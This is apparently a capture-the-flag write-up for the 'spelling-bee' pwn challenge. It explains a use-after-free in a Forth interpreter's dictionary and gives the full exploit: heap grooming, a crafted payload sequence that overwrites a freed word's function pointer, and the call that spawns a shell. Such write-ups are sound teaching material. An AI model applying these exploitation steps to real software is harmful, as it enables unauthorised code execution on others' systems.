spelling-bee writeup
The bug is a use-after-free in the Forth dictionary.
Imported from b01lersctf/pwn/spelling-bee/dist/spelling-bee.
spelling-bee writeup
Main idea
The bug is a use-after-free in the Forth dictionary.
Compiled words store raw word_t * pointers to other words. The forget
command frees a word even if another compiled word still references it. We keep
a stale pointer to a freed word_t, then reallocate that chunk as a controlled
word name. That fake word_t makes the interpreter call the leaked dosys
function with a command string we planted in heap memory.
Final call:
dosys("sh;#AAAA...");
dosys() calls system(), so this gives a shell.
Binary
Arch: amd64
RELRO: Partial RELRO
Canary: No canary
NX: Enabled
PIE: Enabled
The program prints a PIE leak on startup:
printf("%p\n", dosys);
So we know the exact runtime address of dosys.
Important structs
typedef struct word {
long flags;
long length;
long referenced_by;
void (*code)(void *);
void *param;
} word_t;
Layout:
0x00 flags
0x08 length
0x10 referenced_by
0x18 code
0x20 param
sizeof(word_t) == 0x28, so the malloc chunk is 0x30.
The interpreter executes words like this:
(*next)->code((*next)->param);
If we control a stale word_t, we control the function pointer and argument.
Vulnerability
When compiling a word, references are stored directly:
word->referenced_by += 1;
push_word(&compile_def, word, ...);
But delete_word() ignores referenced_by:
if (w->flags & WF_MALLOC_PARAM) {
free(w->param);
}
free(w);
free(cur);
So this creates a dangling reference:
: B ;
: A B ;
forget B
A still contains a pointer to the freed B word_t.
Heap plan
For a user-defined word:
compile_name controlled size
compile_def 0x90 chunk, array of word_t *
word_t 0x30 chunk
dict_t 0x30 chunk
We want:
stale_B->code = dosys
stale_B->param = pointer to "sh;#AAAA..."
The tricky part: the fake word_t is written with strcpy() into a word name.
That means no embedded NUL bytes. We cannot write both code and param
directly.
Solution:
- Leave
B->paramuntouched. - Reuse old
B->paramchunk for a long word name containingsh;#AAAA.... - Reuse old
B word_tchunk for a fake name that only overwritescode.
Payload sequence
: B ;
: A B ;
forget B
forget drop
: sh;#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 1 ;
: FFFFFFFFFFFFFFFFFFFFFFFF<dosys low 6 bytes> ;
A
What each part does:
: B ;
Creates victim B.
: A B ;
Makes A contain a raw pointer to B word_t.
forget B
Frees:
B->param old compile_def, 0x90
B word_t stale target, 0x30
B dict_t 0x30
But A still points at freed B word_t.
forget drop
Frees two more 0x30 chunks from the primitive word and its dict entry. This is
heap grooming so later allocations consume chunks in the right order.
: sh;#AAA... 1 ;
The 127-byte name makes malloc(strlen(token) + 1) request 128 bytes, which
reuses old B->param (0x90). Now:
B->param -> "sh;#AAAA..."
The body constant 1, plus the new word allocation and dict allocation, consume
the three 0x30 chunks above old B word_t in tcache. After this, old
B word_t is next.
: FFFF...<dosys bytes> ;
This name allocation lands on old B word_t.
Fake name:
fake = b"F" * 24 + p64(dosys)[:6]
Why 24:
word_t.code is at offset 0x18
Why only 6 bytes:
x86-64 user pointers are 48-bit canonical.
High two bytes are 00 00.
strcpy() adds a NUL at byte 6 of the pointer.
byte 7 was already 00 from the old function pointer.
This overwrites only:
B->code = dosys
It does not reach offset 0x20, so:
B->param still points to "sh;#AAAA..."
Finally:
A
Runs the stale reference:
B->code(B->param);
Which is now:
dosys("sh;#AAAA...");
Why sh;#AAAA...
The command string must be 127 bytes long to hit the 0x90 malloc size. It
cannot contain spaces or NUL bytes because input is read with:
fscanf(stdin, "%127s", token);
sh;#AAAA... works as shell syntax:
sh start a shell
; end the command
#AAAA... comment out the filler
Running
Local:
./solve.py
Local one-shot command:
./solve.py CMD='cat flag*'
Remote:
./solve.py REMOTE=1
The exploit retries if ASLR puts whitespace or NUL bytes in the injected
six-byte dosys pointer, because %127s would split or truncate the token.